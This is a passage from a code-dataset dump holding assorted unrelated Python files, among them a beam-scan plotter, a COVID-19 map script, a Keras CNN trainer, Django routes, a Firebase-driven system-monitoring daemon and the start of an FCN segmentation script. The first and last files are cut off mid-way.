to data storage and plotting\n\n#######################################################################################################################\n\n##We are managing our lists and turning them into more usable versions for plotting and storing\nWF6H_mm = [(i-WF6H_Start)/Delta_6*12/Zoom_In_Factor for i in WF6H_list] #This is using the conversion from excel file to convert magnet differences to mm\ncollected_perc_H = [100*(i/Start_Current) for i in collected_list_H] #Converting to percent\nHorizontal = M.merge(WF6H_mm,collected_list_H) #This is merging the two lists above into one for easier writing to a text file\n\n\nWF6V_mm = [(i-WF6V_Start)/Delta_6*12/Zoom_In_Factor for i in WF6V_list] #This is using the conversion from excel file to convert magnet differences to mm\ncollected_perc_V = [100*(i/Start_Current) for i in collected_list_V] #Converting to percent\nVertical = M.merge(WF6V_mm,collected_list_V) #This is merging the two lists above into one for easier writing to a text file\n\n \nnow = datetime.today().strftime('%y%m%d_%H%M') #Taking the current time in YYMMDD_HHmm format to save the plot and the txt file\n\n\n#######################################################################################################################\n\n#Starting saving the data to a txt file\n\n#######################################################################################################################\n\nwith open(now +'.txt', 'w') as f: #Open a new file by writing to it named the date as created above + .txt\n f.write('WF6 (A) ,' + 'WF7 (A) ,' + 'Collected Current (mA)' + '\\n' + '\\n') #Creating the legend at the top of the txt file\n f.write('Horizontal' + '\\n') #Write to that file start for the horizontal which will be one line \"Horizontal\"\n \n #Start a loop to write each value from the horizontal list to the file\n for i in range(len(WF6H_list)):\n f.write(str(WF6H_list[i]) + ',' + str(WF7H_list[i]) + ',' + str(collected_list_H[i]) +'\\n') #Write the value of that line in the list to the file\n \n f.write('\\n' + 'Vertical' + '\\n') #Write to that file start for the vertical which will be one line \"Vertical\"\n \n #Start a loop to write each value from the vertical list to the file\n for j in range(len(WF6V_list)):\n f.write(str(WF6V_list[j]) + ',' + str(WF7V_list[j]) + ',' + str(collected_list_V[j]) +'\\n') #Write the value of that line in the list to the file\n f.close() #Close the file, this ensures that it is saved and can be accessed later\n#exit()\n\nplt.figure(figsize = (9,6)) #Setting the figure size to be larger than default\nplt.scatter(WF6H_mm, collected_perc_H,color = 'blue',label = 'Horizontal') #Plotting the horizontal dog leg as blue\nplt.scatter(WF6V_mm, collected_perc_V,color = 'red',label = 'Vertical') #Plotting the verical dog leg as red\nplt.xlabel('Displacement (mm)') #X axis label\nplt.title(\"Dog Leg taken at {}\".format(now))\nplt.ylabel('Collected Current (% from Start)') #Y axis label\nplt.legend()\nif max(collected_perc_H) >= max(collected_perc_V):\n plt.ylim(-0.05,1.1*max(collected_perc_H))\nelse:\n plt.ylim(-0.05,1.1*max(collected_perc_V))\nplt.grid(True)\n#plt.gca().invert_yaxis() #Inverting the axis to produce a more familiar graph with max values as max and not min\nplt.savefig(now + \"_graph\" + \".png\") #Save the plot\n\nend_time = time.time()\n\nprint(\"This Dog Leg took {0:.1f} seconds to run.\".format(end_time - start_time))\nplt.show() #Display a pop-up window with the plot this also clears the plot so do this last, stops the program from running until the plot is acknowledged\n","sub_path":"Python-PLC/Dog Leg/.ipynb_checkpoints/Dog_Leg_West-checkpoint.py","file_name":"Dog_Leg_West-checkpoint.py","file_ext":"py","file_size_in_byte":22070,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"529454800","text":"import pandas as pd\nimport plotly.graph_objs as go\nfrom plotly.offline import download_plotlyjs, init_notebook_mode, plot, iplot\nimport cufflinks as cf\nimport argparse\nimport os as os\nimport sys as sys\n\nmodules = 'pandas plotly cufflinks argparse os'.split(' ')\n\ninstall, k = [], 0\nfor i in modules:\n if (i in sys.modules ) == False:\n install.append(i)\n print(install[k])\n k+=1\n\nif len(install) >= 1:\n print('----------------------------------------------------------')\n for i in range(len(install)):\n print('Suggestion :' + '\\n' + 'pip install {}'.format(install[i]))\n print()\n sys.exit()\n\ncf.go_offline()\n\n#sns.set_style('darkgrid')\n\ndef parse_arguments():\n parser = argparse.ArgumentParser(description='''Runs all the code''',\n formatter_class=argparse.ArgumentDefaultsHelpFormatter)\n parser.add_argument('-r', '--run', dest='run',\n type=bool,\n default=True,\n help='''run maps''')\n parser.add_argument('-d', '--date', dest='date',\n type=str,\n default='20/6/20',\n help='''date maps''')\n parser.add_argument('-f', '--folder', dest='folder',\n type=str,\n default='dataworld',\n help='''folder name''')\n parser.add_argument('-n', '--filename', dest='filename',\n type=str,\n default='confirmed.csv',\n help='''file name ''')\n parser.add_argument('-t', '--type', dest='type',\n type=str,\n default='cwm',\n help='''type (confirmed,deaths,recovered) ''')\n\n return parser.parse_args()\n\ndef cwm(run, date='20/6/20',folder='dataworld',filename='confirmed.csv',type='cwm',all=False):\n date = date.split('/')[1] + '/' + date.split('/')[0] + '/' + date.split('/')[2]\n try:\n db_confirmed = pd.read_csv('https://raw.githubusercontent.com/CSSEGISandData/COVID-19/master/csse_covid_19_data/csse_covid_19_time_series/time_series_covid19_confirmed_global.csv', index_col=0)\n if not os.path.exists(folder):\n os.makedirs(folder)\n db_confirmed.to_csv(os.path.join(folder, filename), index=None)\n except:\n db_confirmed = pd.read_csv(os.path.join(folder, filename))\n\n\n db_confirmed_country = db_confirmed.groupby(['Country/Region']).sum()\n db_confirmed_country.drop(['Lat','Long'],axis=1,inplace=True)\n\n if run == True:\n data = dict(type='choropleth',\n colorscale = 'rdgy',\n reversescale = True,\n locations = db_confirmed_country.index,\n z = db_confirmed_country[date],\n locationmode = 'country names',\n marker = dict(line = dict(color = 'rgb(0,0,0)',width =1)),\n colorbar = {'title':\"Confirmados confirmados\"},\n text = date,\n zmin=0,\n zmax=3*(10)**(6)\n ) \n layout = dict(title = 'Mapa do número de confirmados com COVID-19, por país - {}'.format(date.split('/')[1] + '/' + date.split('/')[0] + '/' + date.split('/')[2] + '.'),\n geo = dict(scope='world',\n showframe = True,\n projection = {'type':'natural earth'})\n )\n\n choromap = go.Figure(data = [data],layout = layout)\n iplot(choromap,validate=False,image_width=15000, image_height=1000)\n else:\n print(pd.DataFrame(db_confirmed_country))\n\nif __name__ == '__main__':\n args = parse_arguments()\n cwm(**vars(args))","sub_path":"worldmps/cwm.py","file_name":"cwm.py","file_ext":"py","file_size_in_byte":3796,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"336291085","text":"\"\"\"\n\nThe sum of the squares of the first ten natural numbers is,\n$$1^2 + 2^2 + ... + 10^2 = 385$$\nThe square of the sum of the first ten natural numbers is,\n$$(1 + 2 + ... + 10)^2 = 55^2 = 3025$$\nHence the difference between the sum of the squares of the first ten natural numbers and the square of the sum is $3025 - 385 = 2640$.\nFind the difference between the sum of the squares of the first one hundred natural numbers and the square of the sum.\n\n\"\"\"\n\ndef sum_of_squares(nth_number):\n result = 0\n for i in range(1, nth_number + 1):\n result += i ** 2\n\n return result\n\n\n\ndef square_of_sum(nth_number):\n result = 0\n for i in range(1, nth_number + 1):\n result += i \n\n return result ** 2\n\n\ndef main():\n nth_number = 100\n difference = square_of_sum(100) - sum_of_squares(100)\n print(f'The difference is: {difference}')\n\n\nif __name__ == '__main__':\n main()\n\n\n","sub_path":"006.py","file_name":"006.py","file_ext":"py","file_size_in_byte":900,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"418770529","text":"from keras.models import Sequential\nfrom keras.layers import Conv2D, MaxPooling2D, Dense, Flatten\nfrom sklearn.model_selection import KFold\nfrom sklearn.metrics import confusion_matrix\nimport numpy as np\nimport keras\nimport math\nimport getCombination\nimport dataSplit\nimport loadMelSpectrogram\nimport os\nos.environ['TF_CPP_MIN_LOG_LEVEL'] = '2'\n\n# =============================================================================\n# Dataset Initialization\ndataset_main_path_train = \"/home/hguan/7100-Master-Project/Dataset-Spanish\"\ndataset_main_path_test = \"/home/hguan/7100-Master-Project/Dataset-KeyPentax\"\nclasses = ['Normal','Pathol']\ntrain_percent = 90\nvalidate_percent = 10\ntest_percent = 0\n\n# =============================================================================\nfs = 16000\nsnippet_length = 500 #in milliseconds\nsnippet_hop = 100 #in ms\nmel_length = 128\nblock_size = 512\nhop_size = 256\npackage = [snippet_length, snippet_hop, block_size, hop_size, mel_length]\ninput_vector_length = mel_length * math.ceil(snippet_length / 1000 * fs / hop_size)\ninput_shape = (mel_length, math.ceil(snippet_length / 1000 * fs / hop_size),1)\n\n# =============================================================================\nname_class_combo_train = getCombination.main(dataset_main_path_train, classes)\nname_class_combo_test = getCombination.main(dataset_main_path_test, classes)\n\n# =============================================================================\n[train_combo, validate_combo, _] = dataSplit.main(name_class_combo_train, train_percent, validate_percent, test_percent)\n[_, _, test_combo] = dataSplit.main(name_class_combo_test, 0, 0, 100)\nprint(len(train_combo), len(validate_combo), len(test_combo))\n# =============================================================================\ntrain_package = loadMelSpectrogram.main(train_combo, 'training', classes, package, fs, dataset_main_path_train, input_vector_length) \nvalidate_package = loadMelSpectrogram.main(validate_combo, 'validating', classes, package, fs, dataset_main_path_train, input_vector_length) \ntest_package = loadMelSpectrogram.main(test_combo, 'testing', classes, package, fs, dataset_main_path_test, input_vector_length)\nprint(train_package)\ntrain_data, train_label, _, train_dist, _ = train_package\nvalidate_data, validate_label, _, validate_dist, _ = validate_package\ntest_data, test_label, test_label2, test_dist, test_augment_amount = test_package\nprint(len(train_data))\nprint(len(validate_data))\nprint(len(test_data))\nmyModel = Sequential()\nlayer = Conv2D(16, kernel_size = (5, 5), strides = (1, 1), activation = 'relu', input_shape = input_shape)\nmyModel.add(layer)\npool = MaxPooling2D(pool_size = (2, 2), strides = (2, 2))\nmyModel.add(pool)\nmyModel.add(Conv2D(8, (3, 3), activation='relu'))\nmyModel.add(MaxPooling2D(pool_size=(2, 2))) \n\nmyModel.add(Flatten())\nmyModel.add(Dense(1024, activation = 'relu'))\nmyModel.add(Dense(256, activation = 'relu'))\nmyModel.add(Dense(64, activation = 'relu'))\nmyModel.add(Dense(len(classes), activation = 'softmax'))\n\nmyModel.compile(loss = keras.losses.categorical_crossentropy,\n optimizer = keras.optimizers.SGD(lr = 0.001),\n metrics = ['accuracy'])\n\nmyModel.fit(train_data, train_label,\n batch_size = 256,\n epochs = 100,\n verbose = 0,\n validation_data = (validate_data, validate_label))\n\nfile_acc, snippet_acc, file_con_mat, snippet_con_mat = resultsAnalysis.main(myModel, test_combo, test_data, test_label2, test_augment_amount, classes)\n\nprint('--------------------------------')\nprint('file results')\nprint(file_acc)\nprint('--------------------------------')\nprint('snippet results')\nprint(snippet_acc)\nprint('--------------------------------')\nprint('final file results')\nprint(file_con_mat)\nacc = 0;\nfor i in range(len(file_con_mat[0])):\n acc = acc + file_con_mat[i][i] / sum(file_con_mat[i])\nprint(acc / 2)\nprint('--------------------------------')\nprint('final snippet results')\nprint(snippet_con_mat)\nacc = 0;\nfor i in range(len(snippet_con_mat[0])):\n acc = acc + snippet_con_mat[i][i] / sum(snippet_con_mat[i])\nprint(acc / 2)","sub_path":"Deep Learning Approach/two_dataset_CNN.py","file_name":"two_dataset_CNN.py","file_ext":"py","file_size_in_byte":4484,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"192764450","text":"import tempfile\nimport unittest\nimport os\n\nfrom toil.job import Job\n\n\nclass DockerCallTest(unittest.TestCase):\n \"\"\"\n This class handles creating a tmpdir and Toil options suitable for a unittest.\n \"\"\"\n def setUp(self):\n super(DockerCallTest, self).setUp()\n # the test tmpdir needs to be in the home directory so files written onto mounted\n # directories from a Docker container will be visible on the host\n # https://docs.docker.com/docker-for-mac/osxfs/\n home = os.path.expanduser(\"~\") + '/'\n self.tmpdir = tempfile.mkdtemp(prefix=home)\n self.options = Job.Runner.getDefaultOptions(os.path.join(str(self.tmpdir), 'jobstore'))\n self.options.clean = 'always'\n\n def tearDown(self):\n # delete temp\n super(DockerCallTest, self).tearDown()\n for file in os.listdir(self.tmpdir):\n os.remove(os.path.join(self.tmpdir, file))\n os.removedirs(self.tmpdir)\n","sub_path":"src/toil_lib/test/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":955,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"4456778","text":"# Created by German Montero at 20/8/2021\nclass Usuario:\n def __init__(self, nombre: str, clave: str):\n self.__clave = clave\n self.nombre = nombre\n\n\nif __name__ == '__main__':\n usuario = Usuario(\"Roberto\", \"asdas\")\n print(usuario.nombre, usuario._Usuario__clave)\n","sub_path":"C15/Exap02.py","file_name":"Exap02.py","file_ext":"py","file_size_in_byte":285,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"37773899","text":"# #!/usr/bin/env python\nimport sys\n\nfrom __init__ import Remote\n\nimport inspect\n\nfrom base import GLOBAL_SETTINGS_KEYNAME\nfrom base import set_global_setting\nfrom base.models import GlobalSettings\n\ntemplate_path = 'templates/settings_local_template.py'\noutput_path = 'repos/bigsky/tmp_settings_local.py'\n\n\nclass SetUserSettings(Remote):\n \"\"\"\n Persists settings to local datastore provided by local_settings_template file\n \"\"\"\n\n def _set_object_settings(self, obj):\n for name, setting in vars(obj).iteritems():\n if isinstance(setting, str):\n setting = setting.replace('{full_name}', self.options.first_name + self.options.last_name)\n setting = setting.replace('{top_level_domain}', self.options.top_level_domain)\n\n sub_domain_insert = '.' if self.options.use_subdomain else '-'\n setting = setting.replace('{use_subdomain}', sub_domain_insert)\n\n set_global_setting(name, setting)\n\n def userOptions(self, p):\n p.set_description('Persists local settings to datastore.')\n p.add_option('--first_name', metavar='first_name', dest='first_name',\n help='user\\'s first name')\n p.add_option('--last_name', metavar='last_name', dest='last_name',\n help='user\\'s last name')\n p.add_option('--top_level_domain', metavar='top_level_domain',\n dest='top_level_domain', help='top level domain for url (.com or .ngrok.io)')\n p.add_option('--use_subdomain', metavar='use_subdomain',\n dest='use_subdomain', default=False, action='store_true',\n help='use subdomain instead of - (eg bolt.local-wf-ericdebusschere vs bolt-local...')\n p.add_option('--prs_remote', default=False, action='store_true',\n help='route python runtime stack remote')\n p.add_option('--nvs_remote', default=False, action='store_true',\n help='route nvs remote')\n p.add_option('--bolt_remote', default=False, action='store_true',\n help='route bolt remote')\n p.add_option('--file_services_remote', default=False, action='store_true',\n help='route file_services remote')\n p.add_option('--book_print_remote', default=False, action='store_true',\n help='route book_print remote')\n return p\n\n def userCode(self):\n if not self.options.first_name:\n raise ValueError('Must provide --first_name option for script to work')\n\n if not self.options.last_name:\n raise ValueError('Must provide --last_name option for script to work')\n\n if not self.options.top_level_domain:\n raise ValueError('Must provide --top_level_domain option for script to work')\n\n import local_settings_tmp\n import remote_settings_tmp\n\n gs = GlobalSettings.get_or_insert(GLOBAL_SETTINGS_KEYNAME)\n if not gs:\n gs = GlobalSettings(key_name=GLOBAL_SETTINGS_KEYNAME)\n\n # Set Values in Classes First\n for name, setting in vars(local_settings_tmp).iteritems():\n if inspect.isclass(setting):\n self._set_object_settings(setting)\n\n # Set Other Settings\n self._set_object_settings(local_settings_tmp)\n\n # Customizations\n if self.options.prs_remote:\n self._set_object_settings(remote_settings_tmp.PYTHON_RUNTIME_STACK)\n\n if self.options.nvs_remote:\n self._set_object_settings(remote_settings_tmp.NVS)\n\n if self.options.bolt_remote:\n self._set_object_settings(remote_settings_tmp.BOLT)\n\n if self.options.file_services_remote:\n self._set_object_settings(remote_settings_tmp.FILE_SERVICES)\n\n if self.options.book_print_remote:\n self._set_object_settings(remote_settings_tmp.BOOK_PRINT)\n\nif __name__ == '__main__':\n sys.exit(SetUserSettings.run_main(sys.argv))\n\n","sub_path":"scripts/persist_settings/persist_local_settings_task.py","file_name":"persist_local_settings_task.py","file_ext":"py","file_size_in_byte":3981,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"567145145","text":"# -*- coding: utf-8 -*-\nfrom datetime import datetime, timedelta\nfrom sqlalchemy.exc import IntegrityError\n\nfrom app import db, settings\nfrom .tasks import task_add_prices, task_add_prices_if_valid\nfrom .models import Price\n\n\ndef add_prices(date_from, date_to, origin_code, destination_code, price, currency):\n \"\"\"\n Insert validated price to the database\n Use celery task if celery is enabled, otherwise do a direct method call\n\n :seealso: `app.main.tasks.task_add_prices`\n \"\"\"\n args = (date_from, date_to, origin_code, destination_code, price, currency)\n if settings.USE_CELERY:\n task_add_prices.delay(*args)\n else:\n task_add_prices(*args)\n\n\ndef add_prices_if_valid(**kwargs):\n \"\"\"\n Insert price to the database if all arguments are valid\n Use celery task if celery is enabled, otherwise do a direct method call\n\n :seealso: :class:`app.main.forms.UploadPriceForm`\n :seealso: `app.main.tasks.task_add_prices_if_valid`\n \"\"\"\n if settings.USE_CELERY:\n task_add_prices_if_valid.delay(**kwargs)\n else:\n task_add_prices_if_valid(**kwargs)\n\n\ndef insert_prices(date_from, date_to, origin_code, destination_code, price, currency):\n \"\"\"\n Insert price directly to the database\n\n :return: if error occured, return string representation of the exception\n :rtype: str or None\n\n :seealso: :class:`app.main.forms.UploadPriceForm`\n :seealso: `app.main.tasks.task_add_prices`\n \"\"\"\n date_start = datetime.strptime(date_from, settings.DATE_FORMAT).date()\n date_end = datetime.strptime(date_to, settings.DATE_FORMAT).date()\n while date_start <= date_end:\n obj = Price(\n day = date_start,\n orig_code = origin_code,\n dest_code = destination_code,\n price = price,\n )\n date_start += timedelta(days=1)\n db.session.add(obj)\n try:\n db.session.commit()\n except IntegrityError as ex:\n return repr(ex)\n","sub_path":"app/main/utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":1969,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"120417910","text":"from django.conf.urls import url\nfrom yieldpharm1 import views\n\nurlpatterns=[\n url(r'^$',views.index,name='index'),\n url(r'^(?P<ydclass_id>[0-9]+)/$',views.ydclass),\n url(r'^(?P<product_id>[0-9]+)/detail$',views.detail),\n url(r'^search/$',views.search),\n url(r'^aboutus/$',views.aboutus),\n url(r'^contactus/$',views.contactus),\n url(r'^products/$',views.products),\n url(r'^lab/$',views.lab),\n url(r'^news/$',views.news),\n url(r'^feedback/$',views.feedback),\n url(r'^en/$',views.indexen),\n url(r'^en/(?P<ydclass_id>[0-9]+)/$', views.ydclassen),\n url(r'^en/(?P<product_id>[0-9]+)/detail$', views.detailen),\n url(r'^en/search/$', views.searchen),\n url(r'^en/aboutus/$',views.aboutusen),\n url(r'^en/contactus/$',views.contactusen),\n url(r'^en/products/$', views.productsen),\n url(r'^en/lab/$', views.laben),\n url(r'^en/news/$', views.newsen),\n url(r'^en/feedback/$', views.feedbacken),\n\n]","sub_path":"yieldpharm1/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":944,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"485617902","text":"# Importing various modules\nfrom datetime import datetime\nfrom firebase.firebase import FirebaseApplication, FirebaseAuthentication\nfrom threading import Thread\nimport re\nfrom shlex import split\nimport subprocess\nfrom sys import stderr\nfrom .config import SERVER_ID\nfrom .db import *\n\nauthentication = FirebaseAuthentication(FIREBASE_SECRET, email, extra={'id': ID})\nfirebase = FirebaseApplication(FIREBASE_URL,authentication)\n\n\ndef check_commands():\n # Check for new commands to be run by this daemon process\n commands = firebase.get('commands', SERVER_ID)\n if not commands:\n return\n # firebase.delete('commands', SERVER_ID)\n # Run through each of the commands and run them in a subprocess\n for command, data in commands.items():\n if not data['run_time']:\n safe = False\n for CMD in WHITELISTED_COMMANDS:\n if CMD in data['cmd']:\n safe = True\n break\n if safe:\n print('Running cmd \"%s\"' % command)\n p = subprocess.Popen(split(data['cmd']), stdout=subprocess.PIPE, stderr=subprocess.PIPE)\n stdout, stderr = p.communicate()\n firebase.put('commands/%s' % SERVER_ID, command, {\n 'stdout': stdout.decode(),\n 'stderr': stderr.decode(),\n 'exit_code': p.returncode,\n 'run_time': datetime.now().strftime('%H:%M:%S %d/%m/%y'),\n 'cmd': data['cmd']\n })\n else:\n firebase.put('commands/%s' % SERVER_ID, command, {\n 'stdout': 'COMMAND NOT ALLOWED',\n 'stderr': 'COMMAND NOT ALLOWED',\n 'exit_code': -1,\n 'cmd': data['cmd']\n })\n\n\ndef startDaemon():\n # Start a thread to check the firebase api for commands this system needs to run\n Thread(target=check_commands).start()\n # Also start a Thread to report the config\n Thread(target=system_check).start()\n\n\ndef system_check():\n print('WatchTowr Daemon starting up', file=stderr)\n print('Starting application list fetch', file=stderr)\n subprocess.call(\"/bin/appList\", shell=True)\n print('Application list complete', file=stderr)\n with open('osVersion.txt', 'r') as f:\n osVersion = f.readlines()\n print('Retrieved os_version', file=stderr)\n lines = [line.rstrip('\\n') for line in open('applicationList.txt')]\n appHashTable = {}\n for i in range(len(lines)):\n tempLines = lines[i].split(\" \")\n appHashTable[re.sub('[.$\\[\\]#/]', ' ', tempLines[0].split('/')[0])] = tempLines[1].split('-')[0]\n print('Generated appTable. Sending data to server', file=stderr)\n update_server(osVersion,appHashTable)\n print('Success. Sleeping', file=stderr)\n\n\n","sub_path":"WatchtowrDaemon/watchtowr/daemon.py","file_name":"daemon.py","file_ext":"py","file_size_in_byte":2835,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"450406213","text":"'''Faça um Programa para uma loja de tintas. O programa deverá pedir \no tamanho em metros quadrados da área a ser pintada. Considere que a\ncobertura da tinta é de 1 litro para cada 6 metros quadrados\ne que a tinta é vendida em latas de 18 litros, que custam R$ 80,00\nou em galões de 3,6 litros, que custam R$ 25,00.\nInforme ao usuário as quantidades de tinta a serem compradas e os \nrespectivos preços em 3 situações:\ncomprar apenas latas de 18 litros;\ncomprar apenas galões de 3,6 litros;\nmisturar latas e galões, de forma que o preço seja o menor. Acrescente 10% de folga \ne sempre arredonde os valores para cima, isto é, considere latas cheias.\n'''\nfrom math import ceil\narea = int(input('Area em metros quadrados: '))\nlitros = area / 6\nmix = litros / 18 + 3.6 if litros % 18 <= 3.6 else litros / 18\ntexto = ''' Você irá gastar {litros} litros para pintar a area de {area} metros:\n Podendo ser {grande:.0f} latas de 18 litros, custando R${grande_preco:.2f}\n Ou {pequena:.0f} latas de 3.6 litros, custando R${pequena_preco:.2f}\n OU {mix:.0f} latas de tinta, sendo uma de 3.6 litros, custando R${mix_preco:.2f}\n'''.format(\n litros=litros, \n area = area, \n grande = ceil(litros / 18), \n grande_preco = ceil(litros / 18) * 80,\n pequena = ceil(litros / 3.6),\n pequena_preco = ceil(litros / 3.6) * 25,\n mix= ceil(mix),\n mix_preco = 80 * (mix - 1) + 25\n )\nprint(texto)","sub_path":"estrutura-sequencial/ex17.py","file_name":"ex17.py","file_ext":"py","file_size_in_byte":1420,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"555547592","text":"''' Storage Asset Definitions '''\n\n'''\n|--------------------------------------------------------------------------\n| Static Files\n|--------------------------------------------------------------------------\n|\n| Put anywhere you keep your static assets in a key, value dictionary here\n| The key will be the folder you put your assets in relative to the root\n| and the value will be the alias you wish to have in your templates.\n| You may have multiple aliases of the same name\n|\n| Example will be the static assets folder at /storage/static\n| and an alias of <img src=\"/static/image.png\"\n|\n'''\n\nSTATICFILES = {\n # folder # template alias\n 'storage/static': 'static/',\n 'storage/uploads': 'static/',\n}\n","sub_path":"config/storage.py","file_name":"storage.py","file_ext":"py","file_size_in_byte":717,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"527638101","text":"# uncompyle6 version 3.7.4\n# Python bytecode 3.6 (3379)\n# Decompiled from: Python 3.6.9 (default, Apr 18 2020, 01:56:04) \n# [GCC 8.4.0]\n# Embedded file name: /Users/rcabanas/GoogleDrive/UAL/inferpy/repo/InferPy/inferpy/queries/query.py\n# Compiled at: 2020-02-12 04:52:06\n# Size of source mod 2**32: 5077 bytes\nimport numpy as np, functools\nfrom inferpy import contextmanager\nfrom inferpy import util\n\ndef flatten_result(f):\n\n @functools.wraps(f)\n def wrapper(*args, **kwargs):\n simplify_result = kwargs.pop('simplify_result', True)\n result = f(*args, **kwargs)\n if simplify_result:\n if len(result) == 1:\n return result[list(result.keys())[0]]\n return result\n\n return wrapper\n\n\nclass Query:\n\n def __init__(self, variables, target_names=None, data={}, enable_interceptor_variables=(None, None)):\n if isinstance(target_names, str):\n target_names = [\n target_names]\n if target_names:\n if any(name not in variables for name in target_names):\n raise ValueError('Target names must correspond to variable names')\n self.target_variables = variables if not target_names else {k:v for k, v in variables.items() if k in target_names}\n self.observed_variables = variables\n self.data = data\n self.enable_interceptor_variables = enable_interceptor_variables\n\n @flatten_result\n @util.tf_run_ignored\n def log_prob(self):\n \"\"\" Computes the log probabilities of a (set of) sample(s)\"\"\"\n with (util.interceptor.enable_interceptor)(*self.enable_interceptor_variables):\n with contextmanager.observe(self.observed_variables, self.data):\n result = util.runtime.try_run({k:v.log_prob(v.value) for k, v in self.target_variables.items()})\n return result\n\n def sum_log_prob(self):\n \"\"\" Computes the sum of the log probabilities (evaluated) of a (set of) sample(s)\"\"\"\n return np.sum([np.mean(lp) for lp in self.log_prob(simplify_result=False).values()])\n\n @flatten_result\n @util.tf_run_ignored\n def sample(self, size=1):\n \"\"\" Generates a sample for eache variable in the model \"\"\"\n with (util.interceptor.enable_interceptor)(*self.enable_interceptor_variables):\n with contextmanager.observe(self.observed_variables, self.data):\n samples = [util.runtime.try_run(self.target_variables) for _ in range(size)]\n if size == 1:\n result = samples[0]\n else:\n result = {k:np.array([sample[k] for sample in samples]) for k in self.target_variables.keys()}\n return result\n\n @flatten_result\n @util.tf_run_ignored\n def parameters(self, names=None):\n \"\"\" Return the parameters of the Random Variables of the model.\n If `names` is None, then return all the parameters of all the Random Variables.\n If `names` is a list, then return the parameters specified in the list (if exists) for all the Random Variables.\n If `names` is a dict, then return all the parameters specified (value) for each Random Variable (key).\n\n Note:\n If `tf_run=True`, but any of the returned parameters is not a Tensor and therefore cannot be evaluated)\n this returns a not evaluated dict (because the evaluation will raise an Exception)\n\n Args:\n names: A list, a dict or None. Specify the parameters for the Random Variables to be obtained.\n\n Returns:\n A dict, where the keys are the names of the Random Variables and the values a dict of parameters (name-value)\n\n \"\"\"\n if not (names is None or isinstance(names, (list, dict))):\n raise TypeError(\"The argument 'names' must be None, a list or a dict, not {}.\".format(type(names)))\n\n def filter_parameters(varname, parameters):\n parameter_names = list(parameters.keys())\n if names is None:\n selected_parameters = parameter_names\n else:\n selected_parameters = set(names if isinstance(names, list) else names.get(varname, parameters))\n return {k:util.runtime.try_run(v) for k, v in parameters.items() if k in selected_parameters}\n\n with contextmanager.observe(self.observed_variables, self.data):\n result = {k:filter_parameters(k, v.parameters) for k, v in self.target_variables.items()}\n return result","sub_path":"pycfiles/inferpy-1.3.0.tar/query.cpython-36.py","file_name":"query.cpython-36.py","file_ext":"py","file_size_in_byte":4433,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"343215551","text":"### This file is only used for continuous evaluation test!\nfrom __future__ import print_function\nfrom __future__ import division\nfrom __future__ import absolute_import\nimport os\nimport sys\nsys.path.append(os.environ['ceroot'])\nfrom kpi import CostKpi\n\ndcgan_d_train_cost_kpi = CostKpi(\n 'dcgan_d_train_cost',\n 0.02,\n 0,\n actived=True,\n desc='train cost of discriminator')\ndcgan_g_train_cost_kpi = CostKpi(\n 'dcgan_g_train_cost',\n 0.02,\n 0,\n actived=True,\n desc='train cost of generator')\n\ntracking_kpis = [dcgan_d_train_cost_kpi, dcgan_g_train_cost_kpi]\n\n\ndef parse_log(log):\n for line in log.split('\\n'):\n fs = line.strip().split('\\t')\n print(fs)\n if len(fs) == 3 and fs[0] == 'kpis':\n kpi_name = fs[1]\n kpi_value = float(fs[2])\n yield kpi_name, kpi_value\n\n\ndef log_to_ce(log):\n kpi_tracker = {}\n for kpi in tracking_kpis:\n kpi_tracker[kpi.name] = kpi\n print(kpi.name)\n print(kpi)\n for (kpi_name, kpi_value) in parse_log(log):\n print(kpi_name, kpi_value)\n kpi_tracker[kpi_name].add_record(kpi_value)\n kpi_tracker[kpi_name].persist()\n\n\nif __name__ == '__main__':\n log = sys.stdin.read()\n log_to_ce(log)\n","sub_path":"doc/fluid/user_guides/cv_case/gan/_ce.py","file_name":"_ce.py","file_ext":"py","file_size_in_byte":1247,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"33000633","text":"import os.path\nimport sys\nimport tensorflow as tf\nimport helper\nimport warnings\nimport scipy.misc\nimport numpy as np\nfrom distutils.version import LooseVersion\nimport project_tests as tests\nfrom moviepy.editor import VideoFileClip\nimport helper_img_aug\nimport time\n\ndata_dir = './data'\nruns_dir = './runs'\nfcn_dir = './data/fcn-8'\nnum_classes = 2\n#image_shape = (320, 1152)\nimage_shape = (160, 576)\n\n# Check TensorFlow Version\nassert LooseVersion(tf.__version__) >= LooseVersion('1.0'), 'Please use TensorFlow version 1.0 or newer. You are using {}'.format(tf.__version__)\nprint('TensorFlow Version: {}'.format(tf.__version__))\n\n# Check for a GPU\nif not tf.test.gpu_device_name():\n warnings.warn('No GPU found. Please use a GPU to train your neural network.')\nelse:\n print('Default GPU Device: {}'.format(tf.test.gpu_device_name()))\n\n\ndef load_vgg(sess, vgg_path):\n \"\"\"\n Load Pretrained VGG Model into TensorFlow.\n :param sess: TensorFlow Session\n :param vgg_path: Path to vgg folder, containing \"variables/\" and \"saved_model.pb\"\n :return: Tuple of Tensors from VGG model (image_input, keep_prob, layer3_out, layer4_out, layer7_out)\n \"\"\"\n # TODO: Implement function\n # Use tf.saved_model.loader.load to load the model and weights\n vgg_tag = 'vgg16'\n vgg_input_tensor_name = 